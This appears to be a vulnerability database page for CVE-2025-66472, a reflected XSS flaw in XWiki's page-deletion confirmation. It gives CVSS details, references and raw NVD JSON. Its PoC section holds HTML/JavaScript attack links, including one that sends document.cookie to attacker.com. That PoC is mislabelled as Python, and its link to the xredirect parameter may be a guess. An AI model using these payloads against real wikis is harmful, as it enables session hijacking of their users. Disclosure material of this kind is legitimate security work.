CVE-2025-66472

Description

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates are vulnerable to a reflected XSS attack through a deletion confirmation message. The attacker-supplied script is executed when the victim clicks the "No" button. This issue is fixed in versions 16.10.10 and 17.4.2 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:* - VULNERABLE

XWiki Platform Flamingo Skin Resources 6.2-milestone-1 至 16.10.9

XWiki Platform Web Templates 6.2-milestone-1 至 16.10.9

XWiki Platform Flamingo Skin Resources 17.0.0-rc-1 至 17.4.1

XWiki Platform Web Templates 17.0.0-rc-1 至 17.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-66472 PoC: Reflected XSS in XWiki Platform deletion confirmation -->
<!-- This PoC demonstrates the XSS vulnerability in the deletion confirmation message -->

<!-- Malicious URL that triggers the XSS -->
<!-- Replace TARGET_URL with the vulnerable XWiki instance URL -->
<!-- The payload uses the 'xredirect' parameter to inject JavaScript -->

<!-- Example attack URL structure -->
<!-- https://TARGET_URL/xwiki/bin/delete/SomePage?xredirect=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -->

<!-- HTML PoC -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-66472 XSS PoC</title>
</head>
<body>
    <h1>CVE-2025-66472 Reflected XSS PoC</h1>
    <p>Click the link below to trigger the vulnerability:</p>
    
    <!-- Malicious link that exploits the XSS via xredirect parameter -->
    <a href="http://TARGET_XWIKI_URL/xwiki/bin/delete/SomePage?xredirect=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E" target="_blank">
        Click to Delete Page (Malicious Link)
    </a>
    
    <p>Alternative payload using script tag:</p>
    <a href="http://TARGET_XWIKI_URL/xwiki/bin/delete/SomePage?xredirect=%3Cscript%3Efetch(%27https://attacker.com/steal?c=%27%2Bdocument.cookie)%3C/script%3E" target="_blank">
        Alternative XSS Payload
    </a>
    
    <script>
        // Auto-generate malicious URLs
        const baseUrl = 'http://TARGET_XWIKI_URL/xwiki/bin/delete/';
        const pageName = 'SomePage';
        
        // Payload that injects JavaScript via xredirect parameter
        const xssPayload = '\"><script>alert(document.domain)</script>';
        const encodedPayload = encodeURIComponent(xssPayload);
        
        const maliciousUrl = baseUrl + pageName + '?xredirect=' + encodedPayload;
        console.log('Malicious URL:', maliciousUrl);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66472
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66472
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66472/
[4] VulDB https://vuldb.com/cve/CVE-2025-66472
[5] https://github.com/xwiki/xwiki-platform/commit/cb578b1b2910d06e9dd7581077072d1cfbd280f2
[6] https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w
[7] https://jira.xwiki.org/browse/XWIKI-23244

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66472", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:27.687", "lastModified": "2026-02-18T15:57:46.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates are vulnerable to a reflected XSS attack through a deletion confirmation message. The attacker-supplied script is executed when the victim clicks the \"No\" button. This issue is fixed in versions 16.10.10 and 17.4.2 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "16.10.10", "matchCriteriaId": "078204BB-EA39-4558-8BD6-466158103B83"}, {"vulnerable": true, "criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0.0", "versionEndExcluding": "17.4.2", "matchCriteriaId": "D351B59D-66FE-4B6A-9FFD-3D0C2D4433D2"}]}]}], "references": [{"url": "https://github.com/xwiki/xwiki-platform/commit/cb578b1b2910d06e9dd7581077072d1cfbd280f2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://jira.xwiki.org/browse/XWIKI-23244", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Issue Tracking"]}]}}